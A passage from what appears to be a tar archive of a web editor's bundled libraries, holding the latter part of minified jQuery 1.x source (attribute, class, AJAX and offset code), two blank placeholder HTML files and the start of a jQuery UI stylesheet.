0},n.fx.timer=function(a){n.timers.push(a),a()?n.fx.start():n.timers.pop()},n.fx.interval=13,n.fx.start=function(){ib||(ib=a.setInterval(n.fx.tick,n.fx.interval))},n.fx.stop=function(){a.clearInterval(ib),ib=null},n.fx.speeds={slow:600,fast:200,_default:400},n.fn.delay=function(b,c){return b=n.fx?n.fx.speeds[b]||b:b,c=c||"fx",this.queue(c,function(c,d){var e=a.setTimeout(c,b);d.stop=function(){a.clearTimeout(e)}})},function(){var a,b=d.createElement("input"),c=d.createElement("div"),e=d.createElement("select"),f=e.appendChild(d.createElement("option"));c=d.createElement("div"),c.setAttribute("className","t"),c.innerHTML="  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",a=c.getElementsByTagName("a")[0],b.setAttribute("type","checkbox"),c.appendChild(b),a=c.getElementsByTagName("a")[0],a.style.cssText="top:1px",l.getSetAttribute="t"!==c.className,l.style=/top/.test(a.getAttribute("style")),l.hrefNormalized="/a"===a.getAttribute("href"),l.checkOn=!!b.value,l.optSelected=f.selected,l.enctype=!!d.createElement("form").enctype,e.disabled=!0,l.optDisabled=!f.disabled,b=d.createElement("input"),b.setAttribute("value",""),l.input=""===b.getAttribute("value"),b.value="t",b.setAttribute("type","radio"),l.radioValue="t"===b.value}();var rb=/\r/g,sb=/[\x20\t\r\n\f]+/g;n.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=n.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,n(this).val()):a,null==e?e="":"number"==typeof e?e+="":n.isArray(e)&&(e=n.map(e,function(a){return null==a?"":a+""})),b=n.valHooks[this.type]||n.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=n.valHooks[e.type]||n.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(rb,""):null==c?"":c)}}}),n.extend({valHooks:{option:{get:function(a){var b=n.find.attr(a,"value");return null!=b?b:n.trim(n.text(a)).replace(sb," ")}},select:{get:function(a){for(var b,c,d=a.options,e=a.selectedIndex,f="select-one"===a.type||0>e,g=f?null:[],h=f?e+1:d.length,i=0>e?h:f?e:0;h>i;i++)if(c=d[i],(c.selected||i===e)&&(l.optDisabled?!c.disabled:null===c.getAttribute("disabled"))&&(!c.parentNode.disabled||!n.nodeName(c.parentNode,"optgroup"))){if(b=n(c).val(),f)return b;g.push(b)}return g},set:function(a,b){var c,d,e=a.options,f=n.makeArray(b),g=e.length;while(g--)if(d=e[g],n.inArray(n.valHooks.option.get(d),f)>-1)try{d.selected=c=!0}catch(h){d.scrollHeight}else d.selected=!1;return c||(a.selectedIndex=-1),e}}}}),n.each(["radio","checkbox"],function(){n.valHooks[this]={set:function(a,b){return n.isArray(b)?a.checked=n.inArray(n(a).val(),b)>-1:void 0}},l.checkOn||(n.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var tb,ub,vb=n.expr.attrHandle,wb=/^(?:checked|selected)$/i,xb=l.getSetAttribute,yb=l.input;n.fn.extend({attr:function(a,b){return Y(this,n.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){n.removeAttr(this,a)})}}),n.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return"undefined"==typeof a.getAttribute?n.prop(a,b,c):(1===f&&n.isXMLDoc(a)||(b=b.toLowerCase(),e=n.attrHooks[b]||(n.expr.match.bool.test(b)?ub:tb)),void 0!==c?null===c?void n.removeAttr(a,b):e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:(a.setAttribute(b,c+""),c):e&&"get"in e&&null!==(d=e.get(a,b))?d:(d=n.find.attr(a,b),null==d?void 0:d))},attrHooks:{type:{set:function(a,b){if(!l.radioValue&&"radio"===b&&n.nodeName(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}},removeAttr:function(a,b){var c,d,e=0,f=b&&b.match(G);if(f&&1===a.nodeType)while(c=f[e++])d=n.propFix[c]||c,n.expr.match.bool.test(c)?yb&&xb||!wb.test(c)?a[d]=!1:a[n.camelCase("default-"+c)]=a[d]=!1:n.attr(a,c,""),a.removeAttribute(xb?c:d)}}),ub={set:function(a,b,c){return b===!1?n.removeAttr(a,c):yb&&xb||!wb.test(c)?a.setAttribute(!xb&&n.propFix[c]||c,c):a[n.camelCase("default-"+c)]=a[c]=!0,c}},n.each(n.expr.match.bool.source.match(/\w+/g),function(a,b){var c=vb[b]||n.find.attr;yb&&xb||!wb.test(b)?vb[b]=function(a,b,d){var e,f;return d||(f=vb[b],vb[b]=e,e=null!=c(a,b,d)?b.toLowerCase():null,vb[b]=f),e}:vb[b]=function(a,b,c){return c?void 0:a[n.camelCase("default-"+b)]?b.toLowerCase():null}}),yb&&xb||(n.attrHooks.value={set:function(a,b,c){return n.nodeName(a,"input")?void(a.defaultValue=b):tb&&tb.set(a,b,c)}}),xb||(tb={set:function(a,b,c){var d=a.getAttributeNode(c);return d||a.setAttributeNode(d=a.ownerDocument.createAttribute(c)),d.value=b+="","value"===c||b===a.getAttribute(c)?b:void 0}},vb.id=vb.name=vb.coords=function(a,b,c){var d;return c?void 0:(d=a.getAttributeNode(b))&&""!==d.value?d.value:null},n.valHooks.button={get:function(a,b){var c=a.getAttributeNode(b);return c&&c.specified?c.value:void 0},set:tb.set},n.attrHooks.contenteditable={set:function(a,b,c){tb.set(a,""===b?!1:b,c)}},n.each(["width","height"],function(a,b){n.attrHooks[b]={set:function(a,c){return""===c?(a.setAttribute(b,"auto"),c):void 0}}})),l.style||(n.attrHooks.style={get:function(a){return a.style.cssText||void 0},set:function(a,b){return a.style.cssText=b+""}});var zb=/^(?:input|select|textarea|button|object)$/i,Ab=/^(?:a|area)$/i;n.fn.extend({prop:function(a,b){return Y(this,n.prop,a,b,arguments.length>1)},removeProp:function(a){return a=n.propFix[a]||a,this.each(function(){try{this[a]=void 0,delete this[a]}catch(b){}})}}),n.extend({prop:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return 1===f&&n.isXMLDoc(a)||(b=n.propFix[b]||b,e=n.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=n.find.attr(a,"tabindex");return b?parseInt(b,10):zb.test(a.nodeName)||Ab.test(a.nodeName)&&a.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),l.hrefNormalized||n.each(["href","src"],function(a,b){n.propHooks[b]={get:function(a){return a.getAttribute(b,4)}}}),l.optSelected||(n.propHooks.selected={get:function(a){var b=a.parentNode;return b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex),null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),n.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){n.propFix[this.toLowerCase()]=this}),l.enctype||(n.propFix.enctype="encoding");var Bb=/[\t\r\n\f]/g;function Cb(a){return n.attr(a,"class")||""}n.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(n.isFunction(a))return this.each(function(b){n(this).addClass(a.call(this,b,Cb(this)))});if("string"==typeof a&&a){b=a.match(G)||[];while(c=this[i++])if(e=Cb(c),d=1===c.nodeType&&(" "+e+" ").replace(Bb," ")){g=0;while(f=b[g++])d.indexOf(" "+f+" ")<0&&(d+=f+" ");h=n.trim(d),e!==h&&n.attr(c,"class",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(n.isFunction(a))return this.each(function(b){n(this).removeClass(a.call(this,b,Cb(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof a&&a){b=a.match(G)||[];while(c=this[i++])if(e=Cb(c),d=1===c.nodeType&&(" "+e+" ").replace(Bb," ")){g=0;while(f=b[g++])while(d.indexOf(" "+f+" ")>-1)d=d.replace(" "+f+" "," ");h=n.trim(d),e!==h&&n.attr(c,"class",h)}}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):n.isFunction(a)?this.each(function(c){n(this).toggleClass(a.call(this,c,Cb(this),b),b)}):this.each(function(){var b,d,e,f;if("string"===c){d=0,e=n(this),f=a.match(G)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a&&"boolean"!==c||(b=Cb(this),b&&n._data(this,"__className__",b),n.attr(this,"class",b||a===!1?"":n._data(this,"__className__")||""))})},hasClass:function(a){var b,c,d=0;b=" "+a+" ";while(c=this[d++])if(1===c.nodeType&&(" "+Cb(c)+" ").replace(Bb," ").indexOf(b)>-1)return!0;return!1}}),n.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(a,b){n.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),n.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}});var Db=a.location,Eb=n.now(),Fb=/\?/,Gb=/(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;n.parseJSON=function(b){if(a.JSON&&a.JSON.parse)return a.JSON.parse(b+"");var c,d=null,e=n.trim(b+"");return e&&!n.trim(e.replace(Gb,function(a,b,e,f){return c&&b&&(d=0),0===d?a:(c=e||b,d+=!f-!e,"")}))?Function("return "+e)():n.error("Invalid JSON: "+b)},n.parseXML=function(b){var c,d;if(!b||"string"!=typeof b)return null;try{a.DOMParser?(d=new a.DOMParser,c=d.parseFromString(b,"text/xml")):(c=new a.ActiveXObject("Microsoft.XMLDOM"),c.async="false",c.loadXML(b))}catch(e){c=void 0}return c&&c.documentElement&&!c.getElementsByTagName("parsererror").length||n.error("Invalid XML: "+b),c};var Hb=/#.*$/,Ib=/([?&])_=[^&]*/,Jb=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,Kb=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Lb=/^(?:GET|HEAD)$/,Mb=/^\/\//,Nb=/^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,Ob={},Pb={},Qb="*/".concat("*"),Rb=Db.href,Sb=Nb.exec(Rb.toLowerCase())||[];function Tb(a){return function(b,c){"string"!=typeof b&&(c=b,b="*");var d,e=0,f=b.toLowerCase().match(G)||[];if(n.isFunction(c))while(d=f[e++])"+"===d.charAt(0)?(d=d.slice(1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Ub(a,b,c,d){var e={},f=a===Pb;function g(h){var i;return e[h]=!0,n.each(a[h]||[],function(a,h){var j=h(b,c,d);return"string"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e["*"]&&g("*")}function Vb(a,b){var c,d,e=n.ajaxSettings.flatOptions||{};for(d in b)void 0!==b[d]&&((e[d]?a:c||(c={}))[d]=b[d]);return c&&n.extend(!0,a,c),a}function Wb(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while("*"===i[0])i.shift(),void 0===e&&(e=a.mimeType||b.getResponseHeader("Content-Type"));if(e)for(g in h)if(h[g]&&h[g].test(e)){i.unshift(g);break}if(i[0]in c)f=i[0];else{for(g in c){if(!i[0]||a.converters[g+" "+i[0]]){f=g;break}d||(d=g)}f=f||d}return f?(f!==i[0]&&i.unshift(f),c[f]):void 0}function Xb(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if("*"===f)f=i;else if("*"!==i&&i!==f){if(g=j[i+" "+f]||j["* "+f],!g)for(e in j)if(h=e.split(" "),h[1]===f&&(g=j[i+" "+h[0]]||j["* "+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a["throws"])b=g(b);else try{b=g(b)}catch(l){return{state:"parsererror",error:g?l:"No conversion from "+i+" to "+f}}}return{state:"success",data:b}}n.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Rb,type:"GET",isLocal:Kb.test(Sb[1]),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Qb,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":n.parseJSON,"text xml":n.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Vb(Vb(a,n.ajaxSettings),b):Vb(n.ajaxSettings,a)},ajaxPrefilter:Tb(Ob),ajaxTransport:Tb(Pb),ajax:function(b,c){"object"==typeof b&&(c=b,b=void 0),c=c||{};var d,e,f,g,h,i,j,k,l=n.ajaxSetup({},c),m=l.context||l,o=l.context&&(m.nodeType||m.jquery)?n(m):n.event,p=n.Deferred(),q=n.Callbacks("once memory"),r=l.statusCode||{},s={},t={},u=0,v="canceled",w={readyState:0,getResponseHeader:function(a){var b;if(2===u){if(!k){k={};while(b=Jb.exec(g))k[b[1].toLowerCase()]=b[2]}b=k[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return 2===u?g:null},setRequestHeader:function(a,b){var c=a.toLowerCase();return u||(a=t[c]=t[c]||a,s[a]=b),this},overrideMimeType:function(a){return u||(l.mimeType=a),this},statusCode:function(a){var b;if(a)if(2>u)for(b in a)r[b]=[r[b],a[b]];else w.always(a[w.status]);return this},abort:function(a){var b=a||v;return j&&j.abort(b),y(0,b),this}};if(p.promise(w).complete=q.add,w.success=w.done,w.error=w.fail,l.url=((b||l.url||Rb)+"").replace(Hb,"").replace(Mb,Sb[1]+"//"),l.type=c.method||c.type||l.method||l.type,l.dataTypes=n.trim(l.dataType||"*").toLowerCase().match(G)||[""],null==l.crossDomain&&(d=Nb.exec(l.url.toLowerCase()),l.crossDomain=!(!d||d[1]===Sb[1]&&d[2]===Sb[2]&&(d[3]||("http:"===d[1]?"80":"443"))===(Sb[3]||("http:"===Sb[1]?"80":"443")))),l.data&&l.processData&&"string"!=typeof l.data&&(l.data=n.param(l.data,l.traditional)),Ub(Ob,l,c,w),2===u)return w;i=n.event&&l.global,i&&0===n.active++&&n.event.trigger("ajaxStart"),l.type=l.type.toUpperCase(),l.hasContent=!Lb.test(l.type),f=l.url,l.hasContent||(l.data&&(f=l.url+=(Fb.test(f)?"&":"?")+l.data,delete l.data),l.cache===!1&&(l.url=Ib.test(f)?f.replace(Ib,"$1_="+Eb++):f+(Fb.test(f)?"&":"?")+"_="+Eb++)),l.ifModified&&(n.lastModified[f]&&w.setRequestHeader("If-Modified-Since",n.lastModified[f]),n.etag[f]&&w.setRequestHeader("If-None-Match",n.etag[f])),(l.data&&l.hasContent&&l.contentType!==!1||c.contentType)&&w.setRequestHeader("Content-Type",l.contentType),w.setRequestHeader("Accept",l.dataTypes[0]&&l.accepts[l.dataTypes[0]]?l.accepts[l.dataTypes[0]]+("*"!==l.dataTypes[0]?", "+Qb+"; q=0.01":""):l.accepts["*"]);for(e in l.headers)w.setRequestHeader(e,l.headers[e]);if(l.beforeSend&&(l.beforeSend.call(m,w,l)===!1||2===u))return w.abort();v="abort";for(e in{success:1,error:1,complete:1})w[e](l[e]);if(j=Ub(Pb,l,c,w)){if(w.readyState=1,i&&o.trigger("ajaxSend",[w,l]),2===u)return w;l.async&&l.timeout>0&&(h=a.setTimeout(function(){w.abort("timeout")},l.timeout));try{u=1,j.send(s,y)}catch(x){if(!(2>u))throw x;y(-1,x)}}else y(-1,"No Transport");function y(b,c,d,e){var k,s,t,v,x,y=c;2!==u&&(u=2,h&&a.clearTimeout(h),j=void 0,g=e||"",w.readyState=b>0?4:0,k=b>=200&&300>b||304===b,d&&(v=Wb(l,w,d)),v=Xb(l,v,w,k),k?(l.ifModified&&(x=w.getResponseHeader("Last-Modified"),x&&(n.lastModified[f]=x),x=w.getResponseHeader("etag"),x&&(n.etag[f]=x)),204===b||"HEAD"===l.type?y="nocontent":304===b?y="notmodified":(y=v.state,s=v.data,t=v.error,k=!t)):(t=y,!b&&y||(y="error",0>b&&(b=0))),w.status=b,w.statusText=(c||y)+"",k?p.resolveWith(m,[s,y,w]):p.rejectWith(m,[w,y,t]),w.statusCode(r),r=void 0,i&&o.trigger(k?"ajaxSuccess":"ajaxError",[w,l,k?s:t]),q.fireWith(m,[w,y]),i&&(o.trigger("ajaxComplete",[w,l]),--n.active||n.event.trigger("ajaxStop")))}return w},getJSON:function(a,b,c){return n.get(a,b,c,"json")},getScript:function(a,b){return n.get(a,void 0,b,"script")}}),n.each(["get","post"],function(a,b){n[b]=function(a,c,d,e){return n.isFunction(c)&&(e=e||d,d=c,c=void 0),n.ajax(n.extend({url:a,type:b,dataType:e,data:c,success:d},n.isPlainObject(a)&&a))}}),n._evalUrl=function(a){return n.ajax({url:a,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},n.fn.extend({wrapAll:function(a){if(n.isFunction(a))return this.each(function(b){n(this).wrapAll(a.call(this,b))});if(this[0]){var b=n(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&1===a.firstChild.nodeType)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){return n.isFunction(a)?this.each(function(b){n(this).wrapInner(a.call(this,b))}):this.each(function(){var b=n(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=n.isFunction(a);return this.each(function(c){n(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){n.nodeName(this,"body")||n(this).replaceWith(this.childNodes)}).end()}});function Yb(a){return a.style&&a.style.display||n.css(a,"display")}function Zb(a){while(a&&1===a.nodeType){if("none"===Yb(a)||"hidden"===a.type)return!0;a=a.parentNode}return!1}n.expr.filters.hidden=function(a){return l.reliableHiddenOffsets()?a.offsetWidth<=0&&a.offsetHeight<=0&&!a.getClientRects().length:Zb(a)},n.expr.filters.visible=function(a){return!n.expr.filters.hidden(a)};var $b=/%20/g,_b=/\[\]$/,ac=/\r?\n/g,bc=/^(?:submit|button|image|reset|file)$/i,cc=/^(?:input|select|textarea|keygen)/i;function dc(a,b,c,d){var e;if(n.isArray(b))n.each(b,function(b,e){c||_b.test(a)?d(a,e):dc(a+"["+("object"==typeof e&&null!=e?b:"")+"]",e,c,d)});else if(c||"object"!==n.type(b))d(a,b);else for(e in b)dc(a+"["+e+"]",b[e],c,d)}n.param=function(a,b){var c,d=[],e=function(a,b){b=n.isFunction(b)?b():null==b?"":b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};if(void 0===b&&(b=n.ajaxSettings&&n.ajaxSettings.traditional),n.isArray(a)||a.jquery&&!n.isPlainObject(a))n.each(a,function(){e(this.name,this.value)});else for(c in a)dc(c,a[c],b,e);return d.join("&").replace($b,"+")},n.fn.extend({serialize:function(){return n.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=n.prop(this,"elements");return a?n.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!n(this).is(":disabled")&&cc.test(this.nodeName)&&!bc.test(a)&&(this.checked||!Z.test(a))}).map(function(a,b){var c=n(this).val();return null==c?null:n.isArray(c)?n.map(c,function(a){return{name:b.name,value:a.replace(ac,"\r\n")}}):{name:b.name,value:c.replace(ac,"\r\n")}}).get()}}),n.ajaxSettings.xhr=void 0!==a.ActiveXObject?function(){return this.isLocal?ic():d.documentMode>8?hc():/^(get|post|head|put|delete|options)$/i.test(this.type)&&hc()||ic()}:hc;var ec=0,fc={},gc=n.ajaxSettings.xhr();a.attachEvent&&a.attachEvent("onunload",function(){for(var a in fc)fc[a](void 0,!0)}),l.cors=!!gc&&"withCredentials"in gc,gc=l.ajax=!!gc,gc&&n.ajaxTransport(function(b){if(!b.crossDomain||l.cors){var c;return{send:function(d,e){var f,g=b.xhr(),h=++ec;if(g.open(b.type,b.url,b.async,b.username,b.password),b.xhrFields)for(f in b.xhrFields)g[f]=b.xhrFields[f];b.mimeType&&g.overrideMimeType&&g.overrideMimeType(b.mimeType),b.crossDomain||d["X-Requested-With"]||(d["X-Requested-With"]="XMLHttpRequest");for(f in d)void 0!==d[f]&&g.setRequestHeader(f,d[f]+"");g.send(b.hasContent&&b.data||null),c=function(a,d){var f,i,j;if(c&&(d||4===g.readyState))if(delete fc[h],c=void 0,g.onreadystatechange=n.noop,d)4!==g.readyState&&g.abort();else{j={},f=g.status,"string"==typeof g.responseText&&(j.text=g.responseText);try{i=g.statusText}catch(k){i=""}f||!b.isLocal||b.crossDomain?1223===f&&(f=204):f=j.text?200:404}j&&e(f,i,j,g.getAllResponseHeaders())},b.async?4===g.readyState?a.setTimeout(c):g.onreadystatechange=fc[h]=c:c()},abort:function(){c&&c(void 0,!0)}}}});function hc(){try{return new a.XMLHttpRequest}catch(b){}}function ic(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}n.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(a){return n.globalEval(a),a}}}),n.ajaxPrefilter("script",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),n.ajaxTransport("script",function(a){if(a.crossDomain){var b,c=d.head||n("head")[0]||d.documentElement;return{send:function(e,f){b=d.createElement("script"),b.async=!0,a.scriptCharset&&(b.charset=a.scriptCharset),b.src=a.url,b.onload=b.onreadystatechange=function(a,c){(c||!b.readyState||/loaded|complete/.test(b.readyState))&&(b.onload=b.onreadystatechange=null,b.parentNode&&b.parentNode.removeChild(b),b=null,c||f(200,"success"))},c.insertBefore(b,c.firstChild)},abort:function(){b&&b.onload(void 0,!0)}}}});var jc=[],kc=/(=)\?(?=&|$)|\?\?/;n.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var a=jc.pop()||n.expando+"_"+Eb++;return this[a]=!0,a}}),n.ajaxPrefilter("json jsonp",function(b,c,d){var e,f,g,h=b.jsonp!==!1&&(kc.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType||"").indexOf("application/x-www-form-urlencoded")&&kc.test(b.data)&&"data");return h||"jsonp"===b.dataTypes[0]?(e=b.jsonpCallback=n.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,h?b[h]=b[h].replace(kc,"$1"+e):b.jsonp!==!1&&(b.url+=(Fb.test(b.url)?"&":"?")+b.jsonp+"="+e),b.converters["script json"]=function(){return g||n.error(e+" was not called"),g[0]},b.dataTypes[0]="json",f=a[e],a[e]=function(){g=arguments},d.always(function(){void 0===f?n(a).removeProp(e):a[e]=f,b[e]&&(b.jsonpCallback=c.jsonpCallback,jc.push(e)),g&&n.isFunction(f)&&f(g[0]),g=f=void 0}),"script"):void 0}),n.parseHTML=function(a,b,c){if(!a||"string"!=typeof a)return null;"boolean"==typeof b&&(c=b,b=!1),b=b||d;var e=x.exec(a),f=!c&&[];return e?[b.createElement(e[1])]:(e=ja([a],b,f),f&&f.length&&n(f).remove(),n.merge([],e.childNodes))};var lc=n.fn.load;n.fn.load=function(a,b,c){if("string"!=typeof a&&lc)return lc.apply(this,arguments);var d,e,f,g=this,h=a.indexOf(" ");return h>-1&&(d=n.trim(a.slice(h,a.length)),a=a.slice(0,h)),n.isFunction(b)?(c=b,b=void 0):b&&"object"==typeof b&&(e="POST"),g.length>0&&n.ajax({url:a,type:e||"GET",dataType:"html",data:b}).done(function(a){f=arguments,g.html(d?n("<div>").append(n.parseHTML(a)).find(d):a)}).always(c&&function(a,b){g.each(function(){c.apply(this,f||[a.responseText,b,a])})}),this},n.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(a,b){n.fn[b]=function(a){return this.on(b,a)}}),n.expr.filters.animated=function(a){return n.grep(n.timers,function(b){return a===b.elem}).length};function mc(a){return n.isWindow(a)?a:9===a.nodeType?a.defaultView||a.parentWindow:!1}n.offset={setOffset:function(a,b,c){var d,e,f,g,h,i,j,k=n.css(a,"position"),l=n(a),m={};"static"===k&&(a.style.position="relative"),h=l.offset(),f=n.css(a,"top"),i=n.css(a,"left"),j=("absolute"===k||"fixed"===k)&&n.inArray("auto",[f,i])>-1,j?(d=l.position(),g=d.top,e=d.left):(g=parseFloat(f)||0,e=parseFloat(i)||0),n.isFunction(b)&&(b=b.call(a,c,n.extend({},h))),null!=b.top&&(m.top=b.top-h.top+g),null!=b.left&&(m.left=b.left-h.left+e),"using"in b?b.using.call(a,m):l.css(m)}},n.fn.extend({offset:function(a){if(arguments.length)return void 0===a?this:this.each(function(b){n.offset.setOffset(this,a,b)});var b,c,d={top:0,left:0},e=this[0],f=e&&e.ownerDocument;if(f)return b=f.documentElement,n.contains(b,e)?("undefined"!=typeof e.getBoundingClientRect&&(d=e.getBoundingClientRect()),c=mc(f),{top:d.top+(c.pageYOffset||b.scrollTop)-(b.clientTop||0),left:d.left+(c.pageXOffset||b.scrollLeft)-(b.clientLeft||0)}):d},position:function(){if(this[0]){var a,b,c={top:0,left:0},d=this[0];return"fixed"===n.css(d,"position")?b=d.getBoundingClientRect():(a=this.offsetParent(),b=this.offset(),n.nodeName(a[0],"html")||(c=a.offset()),c.top+=n.css(a[0],"borderTopWidth",!0),c.left+=n.css(a[0],"borderLeftWidth",!0)),{top:b.top-c.top-n.css(d,"marginTop",!0),left:b.left-c.left-n.css(d,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var a=this.offsetParent;while(a&&!n.nodeName(a,"html")&&"static"===n.css(a,"position"))a=a.offsetParent;return a||Qa})}}),n.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,b){var c=/Y/.test(b);n.fn[a]=function(d){return Y(this,function(a,d,e){var f=mc(a);return void 0===e?f?b in f?f[b]:f.document.documentElement[d]:a[d]:void(f?f.scrollTo(c?n(f).scrollLeft():e,c?e:n(f).scrollTop()):a[d]=e)},a,d,arguments.length,null)}}),n.each(["top","left"],function(a,b){n.cssHooks[b]=Ua(l.pixelPosition,function(a,c){return c?(c=Sa(a,b),Oa.test(c)?n(a).position()[b]+"px":c):void 0;
})}),n.each({Height:"height",Width:"width"},function(a,b){n.each({padding:"inner"+a,content:b,"":"outer"+a},function(c,d){n.fn[d]=function(d,e){var f=arguments.length&&(c||"boolean"!=typeof d),g=c||(d===!0||e===!0?"margin":"border");return Y(this,function(b,c,d){var e;return n.isWindow(b)?b.document.documentElement["client"+a]:9===b.nodeType?(e=b.documentElement,Math.max(b.body["scroll"+a],e["scroll"+a],b.body["offset"+a],e["offset"+a],e["client"+a])):void 0===d?n.css(b,c,g):n.style(b,c,d,g)},b,f?d:void 0,f,null)}})}),n.fn.extend({bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return 1===arguments.length?this.off(a,"**"):this.off(b,a||"**",c)}}),n.fn.size=function(){return this.length},n.fn.andSelf=n.fn.addBack,"function"==typeof define&&define.amd&&define("jquery",[],function(){return n});var nc=a.jQuery,oc=a.$;return n.noConflict=function(b){return a.$===n&&(a.$=oc),b&&a.jQuery===n&&(a.jQuery=nc),n},b||(a.jQuery=a.$=n),n});
editor/libraries/jquery/js/index.html000060400000000054150750527150013740 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/jquery/index.html000060400000000054150750527150013324 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/jquery/css/jquery-ui.min.css000060400000007443150750527150015356 0ustar00/*! jQuery UI - v1.11.4 - 2016-05-15
* http://jqueryui.com
* Includes: core.css, draggable.css, resizable.css, sortable.css, slider.css
* Copyright jQuery Foundation and other contributors; Licensed MIT */.uk-helper-hidden{display:none}.uk-helper-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.uk-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none}.uk-helper-clearfix:after,.uk-helper-clearfix:before{content:"";display:table;border-collapse:collapse}.uk-helper-clearfix:after{clear:both}.uk-helper-clearfix{min-height:0}.uk-helper-zfix{width:100%;height:100%;top:0;left:0;position:absolute;opacity:0;filter:Alpha(Opacity=0)}.uk-front{z-index:100}.uk-state-disabled{cursor:default!important}.uk-widget-overlay{position:fixed;top:0;left:0;width:100%;height:100%}.uk-draggable-handle{-ms-touch-action:none;touch-action:none}.uk-resizable{position:relative}.uk-resizable-handle{position:absolute;font-size:.1px;display:block;-ms-touch-action:none;touch-action:none}.uk-resizable-autohide .uk-resizable-handle,.uk-resizable-disabled 